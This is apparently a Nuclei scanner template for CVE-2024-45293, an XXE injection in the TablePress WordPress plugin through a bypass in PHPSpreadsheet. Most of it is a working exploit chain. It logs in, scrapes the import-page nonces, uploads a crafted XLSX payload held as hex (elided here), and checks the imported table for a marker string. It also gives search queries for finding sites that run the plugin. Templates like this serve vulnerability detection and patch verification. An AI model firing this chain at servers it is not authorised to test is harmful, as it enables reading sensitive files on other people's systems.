id: CVE-2024-45293

info:
  name: TablePress < 2.4.3 - XXE Injection
  author: iamnoooob,ritikchaddha
  severity: high
  description: |
    The PHPSpreadsheet library used by the plugin is affected by an XXE as the security scanner that prevents XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files, and sensitive information can be disclosed by providing a crafted sheet.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade TablePress to version 2.4.3 or later to mitigate the vulnerability.
  reference:
    - https://shaheen.beaconred.net/research/2024/10/25/phpspreadsheet-xxe.html
    - https://wpscan.com/vulnerability/c9c13e5b-22ac-44c1-aca7-e2b34238e045/
    - https://wordpress.org/plugins/tablepress/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45293
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-45293
    cwe-id: CWE-611
    epss-score: 0.02799
    epss-percentile: 0.85041
    cpe: cpe:2.3:a:tablepress:tablepress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: wordpress
    product: tablepress
    fofa-query: body="/wp-content/plugins/tablepress"
    google-query: inurl:"/wp-content/plugins/tablepress"
  tags: cve2024,cve,tablepress,wp,wp-plugin,wordpress,xxe,intrusive,vuln

flow: http(1) && http(2)

variables:
  payload: "{{hex_decode('[encoded data, 17952 characters]')}}"
  filename: "{{rand_base(7)}}"

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=tablepress_import HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: closedpost
        group: 1
        regex:
          - 'name="closedpostboxesnonce" value="([0-9a-z]+)"'
        internal: true

      - type: regex
        part: body
        name: meta_box
        group: 1
        regex:
          - 'name="meta\-box\-order\-nonce" value="([a-z0-9]+)"'
        internal: true

      - type: regex
        name: _wpnonce
        part: body
        group: 1
        regex:
          - 'name="_wpnonce" value="([a-z0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuVnytOHlVXMXeHFy

        ------WebKitFormBoundaryuVnytOHlVXMXeHFy
        Content-Disposition: form-data; name="closedpostboxesnonce"

        {{closedpost}}
        ------WebKitFormBoundaryuVnytOHlVXMXeHFy
        Content-Disposition: form-data; name="meta-box-order-nonce"

        {{meta_box}}
        ------WebKitFormBoundaryuVnytOHlVXMXeHFy
        Content-Disposition: form-data; name="_wpnonce"

        {{_wpnonce}}
        ------WebKitFormBoundaryuVnytOHlVXMXeHFy
        Content-Disposition: form-data; name="_wp_http_referer"

        /wp-admin/admin.php?page=tablepress_import
        ------WebKitFormBoundaryuVnytOHlVXMXeHFy
        Content-Disposition: form-data; name="action"

        tablepress_import
        ------WebKitFormBoundaryuVnytOHlVXMXeHFy
        Content-Disposition: form-data; name="import[source]"

        file-upload
        ------WebKitFormBoundaryuVnytOHlVXMXeHFy
        Content-Disposition: form-data; name="import_file_upload[]"; filename="{{filename}}.xlsx"
        Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet

        {{payload}}
        ------WebKitFormBoundaryuVnytOHlVXMXeHFy
        Content-Disposition: form-data; name="import[type]"

        add
        ------WebKitFormBoundaryuVnytOHlVXMXeHFy
        Content-Disposition: form-data; name="import[legacy_import]"

        false
        ------WebKitFormBoundaryuVnytOHlVXMXeHFy--

      - |
        GET /wp-admin/admin.php?page=tablepress&action=edit&table_id={{id}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "Hello World abc")'
          - 'status_code_2 == 200'
        condition: and

    extractors:
      - type: regex
        name: id
        part: location
        group: 1
        regex:
          - 'table_id=([0-9]+)'
        internal: true
# digest: 4a0a0047304502206a828ae15a9bdebd27eeec50b4037c0099da16c0d33fc2172f8b08575926bc75022100a05abcd1eb857d13c0ccb64d5cefa7f88db4c18e4077ec972290b89179785323:922c64590222798bb761d5b6d8e72950